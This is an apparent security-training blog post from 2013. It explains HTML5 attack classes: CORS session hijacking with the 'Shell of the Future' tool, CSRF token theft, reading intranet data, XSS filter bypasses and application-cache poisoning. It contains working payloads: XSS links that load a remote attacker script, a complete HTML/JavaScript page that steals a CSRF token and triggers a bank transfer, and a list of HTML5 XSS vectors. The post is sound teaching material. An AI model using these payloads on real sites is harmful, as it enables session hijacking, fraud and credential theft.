Demystifying HTML 5 Attacks

June 28, 2013 by

Rorot

HTML5 is one of the promising new key technologies that powers the web. Though it is still under development, HTML5 is high in demand especially given the fact that the use of smart phones and internet enabled mobile devices is growing exponentially every year. HTML, the heart of the web, has made big advances with HTML5 by providing support for latest multimedia and server communication. All the latest versions of browsers have their support for HTML5 and hence the industry is on a high to embrace this technology and get adapted to it soon. The features are designed to make it easy to include, and handle multimedia and graphical content on the web without having to use any third-party plug-ins or APIs. This article aims to cover various new kinds of attacks that HTML 5 brings to the world of web especially with CORS and other new implementations.

CORS (Cross Origin Resource Sharing) Attacks – Obtaining a Reverse Shell:

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

View Pricing

To address the growing needs of developers to build high quality sites, HTML5 has relaxed some of the restrictions which were placed earlier by the SOP (Same Origin Policy). Same Origin Policy stated in simple terms are as follows: It allows scripts running on pages originating from the same site to access each other's methods and properties, but prevents access to methods and properties across pages on different sites. (SOP is itself a huge topic, and it's recommended to go through it first). Now HTML5 breaks these restrictions. For instance, Ajax requests can be made across different domains. Same Origin Policy made sure that in order for JavaScript to access the contents of a Web page, both the JavaScript and the Web page must originate from the same domain. Without the SOP, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials and communicates it back to the attacker. So HTML5 makes it possible for JavaScript to access data across domains.

So as long as xyz.com allows it, abc.com can make Ajax calls to xyz.com and can read the response. This feature has been exploited to tunnel HTTP traffic over a cross domain. Ajax calls, and sets‐up a browser equivalent of a reverse shell as demonstrated by Lava Kumar (all the credit goes to him) with a simple tool named 'Shell of the future'. The tool is based on the concept that if an attacker is able to find a cross site scripting flaw in a site, he can execute a JavaScript payload (by convincing a user to click on a link) and this script talks to the attacker's server through Cross Origin Requests. Exploiting this further, the attacker can browse the victim's session by tunneling his requests through the victim's browser. Let's see how this can be achieved using the SOTF tool.

Download Link: http://www.andlabs.org/tools.html#sotf

Steps to use the tool:

1. Download and extract the tool to a desired location. Double click on 'Shell of the Future.exe' file and observe that a window pops up.
2. Enter any port for the server (I choose 8080 here) and click on 'Start'.
3. Open your browser (Mozilla will best suit the purpose as IE has some issues) and request the below URL: http://127.0.0.1:8008/sotf.console
4. If everything is proper, you will be able to see the below screen:

   

   [Shell of the Future comes with two readymade JavaScript exploits – e1.js and e2.js. We need to inject them into the victim's browser. This can be done by exploiting XSS vulnerability]
5. Consider a valid user who logged into the below test site:

   URL: http://www.testfire.net/bank/login.aspx (admin/admin)

   The search functionality in this site has a XSS flaw.

   http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
6. An Attacker sends a malicious link to load the script in the user's browser. http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E (the moment user clicks on this link he is pawned!)
7. The victim's IP address along with the compromised website will be shown to the attacker who can then click the 'Hijack Session' to hijack the valid user.
8. The below screen appears to the attacker after clicking the 'Hijack Session'.

Important Question: How is the victim's session displayed to the attacker?

This is possible because the script which is loaded by the user's browser, starts talking to the attacker's site using COR (Without HTML5 that wouldn't have been possible). So the attacker is just tunneling his request through the victim's browser.

Stealing CSRF Tokens:

With HTML 5, it is possible to steal CSRF tokens. If the CSRF token goes in the URL (i.e. in GET request) then, taking advantage of the earlier description of CORS. An attacker can inject a CSRF payload on a cross domain page that triggers a request to the target site, without the user noticing it. Please note that for CORS to be enabled an extra HTTP header called 'origin' needs to be added. Setting the attribute "withCredentials" to 'true' will replay the cookies along with the request. Access-Control-Allow-Origin: * will precisely be the response header. Let's see how this is can be exploited.

1. Say the user logged into www.bank.com
2. Assume that the site has CSRF protection – i.e. the CSRF token is sent in the hidden field and the same is sent in the GET request before execution of any operation.

   (Below is the CSRF token which is sent in response)

   <input type="hidden" id="test" name="csrfToken" value="12345678" />

   (The same token goes to server before executing any operation as shown below)

   http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
3. Now the attacker sends a link to the user via email, IM chat or the user just visits the attacker's site (www.attackersite.com) for some reason.
4. Now the attacker can trigger an Ajax request to the www.bank.com and the operation will be performed. But in this case he needs to know the value of the CSRF Token to achieve the same.
5. So the attacker's plan would be simple. First steal the CSRF Token and then trigger a request by appending that token.
6. The HTML page below achieves exactly the same. As you can see, the Ajax request is sent to ConfirmTransfer.jsp and the response is received. Now this response is parsed and searched for the 'csrfToken' and after finding it, another Ajax request is sent which includes the CSRF token.

   [html]

   <!DOCTYPE html>

   <html>

   <head>

   <script>

   function testing()

   {

   var xmlhttp;

   if (window.XMLHttpRequest)

   {

   xmlhttp=new XMLHttpRequest();

   }

   else

   {

   xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

   }

   xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false);

   xmlhttp.send();

   if(xmlhttp.status==200)

   {

   var str=xmlhttp.responseText;

   var n=str.search("csrfToken");

   var final=str.substring(n+18,n+28);

   var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&amp;Account=1234&amp;csrfToken=" + escape(final);

   xmlhttp.open("GET", url, true);

   xmlhttp.send();

   }

   }

   </script>

   </head>

   <body onload="testing();">

   </body>

   </html>

   [/html]

The user has no idea that all this has happened in the background. Thus in HTML 5, you can steal CSRF tokens and execute the operations without the user noticing a thing.

Accessing Internal Servers:

Many corporate companies have internal sites which are used to handle the internal requirements of employees. They are generally intranet applications and not accessible over internet. Since there are many different internal applications, all related to the employees, they might have the need to interact with one another. So most of the developers, in a rush to provide rich functionality, add the below header Access-Control-Allow-Origin: * and enable the CORS to take advantage of it. This can be very well exploited by an attacker who can use social engineering to make an internal employee click on a link and then he can access the content very easily. Below are the steps to execute the same.

1. An internal employee logs into the site which is not accessible over the internet (www.internalurl.com)
2. Intranet Server returns the response with a header set as Access-Control-Allow-Origin: * (Why? He wants to allow other sites in the intranet to access the data from this server)
3. The employee receives a link in mail and clicks on it (www.malicioussite.com)
4. This site contains normal UI stuff so the internal user doesn't notice a thing. But it contains a javascript code which will be executed in the user's browser.
5. The Java Script silently sends an XMLHttpRequest in the background and it can access the response too. (Why? Because the header Access-Control-Allow-Origin: * is set )
6. The Java Script parses the response and sends it back to the attacker's server. (can be done easily through XMLHttpRequest )
7. Thus the attacker gets hold of the data present in the internal site of the company.

New XSS HTML 5 Vectors:

Developers always like to develop their own custom filters in order to block XSS attacks. Most of them involve black listing the characters like <img , <script etc. HTML 5 introduces many new tags to extend the multimedia support and to allow dynamic loading of audio and video tags. New tags, attributes and events have been introduced and if carefully crafted can become potential vectors to bypass XSS filters. Below are some of the possible vectors that I have gathered so far from various sources.

List of XSS vectors for HTML 5:

<video> <source onerror="javascript:alert(1)">

<video onerror="javascript:alert(1)"><source>

<audio onerror="javascript:alert(1)"><source>

<input autofocus onfocus=alert(1)>

<select autofocus onfocus=alert(1)>

<textarea autofocus onfocus=alert(1)>

<keygen autofocus onfocus=alert(1)>

<button form=test onformchange=alert(2)>X

<form><button formaction="javascript:alert(1)">

Offline Web Application Cache Poisoning:

HTML offline Application cache has been implemented by most of the browsers – Google Chrome, Mozilla, Opera, and Safari etc. So an application can cache the content for the user to make use of it offline. The main problem with these caches is that they are susceptible to an attack called 'Cache Poisoning'. If the JS file of a particular site is poisoned the attacker can very well take control of the user account. The main difference between normal cache and the application cache in HTML 5 is that, the former does not allow you to cache all the files while the later allows you to cache any file. By exploiting this feature an attacker can steal the credentials of a legitimate user. So let's see how an attacker can take advantage of this and steal the user credentials.

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

Download Now

1. The user connects to an unsecured Wi-Fi network in a shopping mall.
2. The user browses to a random site.
3. The attacker responds to this request with a page, and this page contains a hidden iframe pointed to say Facebook login.
4. So the user's browser will automatically send a request to the Facebook login page.
5. Since the network is controlled by the attacker, he serves a page which looks exactly like the Facebook login page but with some additional code. This code would basically send the entered credentials to the attacker's site. Also, the page contains tags to cache this in the user's system (by including the manifest attribute in the HTML). So nothing actually happened till this moment except that the Facebook login page is cached in the user's system.
6. Now the victim, after a day or two connects to a secured network at his home or office, and tries to login to Facebook by typing the Facebook link.
7. The browser will now load the fake login page from the cache.
8. When the user enters the credentials, they are transported to the attacker simply because the cached page is designed that way.

Thus by poisoning the application cache an attacker can steal the credentials of a legitimate user. These are some of the attacks which are unearthed so far by the security researcher. In the coming years surely more variety of attacks will emerge exploiting other features present in HTML 5.